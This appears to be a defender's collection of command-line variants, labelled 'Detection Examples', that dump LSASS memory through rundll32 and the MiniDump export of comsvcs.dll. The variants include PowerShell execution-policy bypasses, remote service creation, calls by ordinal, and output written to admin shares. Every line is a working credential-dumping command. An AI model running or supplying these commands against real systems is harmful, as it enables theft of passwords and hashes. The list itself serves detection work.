comsvcs MiniDump examples

examples.txt

By @JohnLaTwC

References:
https://risksense.com/blog/hidden-gems-in-windows-the-hunt-is-on/ by Jenna Magius and Nate Caroe (@RiskSense)
https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/
https://twitter.com/SBousseaden/status/1407742041170268166  - Calling MiniDump export by ordinal examples: (comsvcs,#24)

Detection Examples:

"C:\Windows\System32\rundll32.exe"  C:\Windows\System32\comsvcs.dll MiniDump <PID> \Windows\Temp\<filename>.dmp full

.\rundll32.exe  C:\windows\System32\comsvcs.dll, MiniDump <PID> C:\Users\Administrator\<filename>.dmp full   

"C:\Windows\system32\sc.exe" \\server create Dump binpath= "C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll,MiniDump <PID> C:\dump.bin full"

"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -c rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <PID> C:\Users\username\Desktop\<filename>.DMP full

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID>Get-Process lsass).id $env:TEMP\lsass-<filename>.dmp full} 

"Powershell" -c "rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID>get-process lsass).id C:\Users\username\AppData\Local\Temp\<filename>.dmp full"

C:\Windows\system32\cmd.exe /c "echo string >NUL & powershell -ExecutionPolicy bypass -Command "$a = (Get-Process lsass).id; rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID>a C:\Windows\TEMP\string\string\<filename>.dmp full" & exit"

C:\Windows\system32\cmd.exe /Q /c echo .\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> C:\Users\Administrator\<filename>.dmp full ^> \\127.0.0.1\C$\__output 2^>^&1 > C:\Windows\TEMP\execute.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\execute.bat & del C:\Windows\TEMP\execute.bat

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.EXE "rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID>get-process lsass).id) C:\Windows\lsass_$(Get-Date -Format dd-MM-hh-mm-ss<filename>dmp full"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoP -C C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID>Get-Process lsass).Id \Windows\Temp\<filename>.dmp full;Wait-Process -Id (Get-Process rundll32).id

cmd /C "rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> \\ipv4\pwn\<filename>.dmp full"

cmd.exe  /Q /c for /f "tokens=1,2 delims= " %A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> \Windows\Temp\<filename>.dmp full

cmd.exe /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> \Windows\Temp\<filename>.dmp full

cmd.exe /C cmd.exe /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> \Windows\Temp\<filename>.dmp full

cmd.exe /C powershell.exe -NoP -C "C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID>Get-Process lsass).Id \Windows\Temp\<filename>.dmp full;Wait-Process -Id (Get-Process rundll32).id"

cmd.exe /Q /c powershell -noni -nop "rundll32.exe comsvcs.dll,minidump <PID> c:\windows\temp\test.log full" 1> \\127.0.0.1\ADMIN$\__1111111.1111111 2>&1

cmd.exe /Q /c rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> C:\<filename>.dmp full 1> \\127.0.0.1\ADMIN$\__1111111.1111111 2>&1

powershell  -ExecutionPolicy bypass -Command "$a = (Get-Process lsass).id; rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID>a C:\temp\blabla"

powershell  -noni -nop "rundll32.exe comsvcs.dll,minidump <PID> c:\windows\temp\test.log full" 

powershell.exe -ExecutionPolicy Bypass -C "C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID>Get-Process lsass).id $env:TEMP\lsass-<filename>.dmp full"

cmd.exe /Q /c sc create DumpProc binpath= "rundll32 comsvcs,#24 1204 c:\windows\tmp1654.log full" 1> \\127.0.0.1\ADMIN$\__1622704760.494238 2>&1

rundll32.exe  comsvcs.dll,#24 600 C:\Users\user\Desktop\lsass.dmp full

sc  create DumpProc binpath= "rundll32 comsvcs,#24 1204 c:\windows\tmp.log full"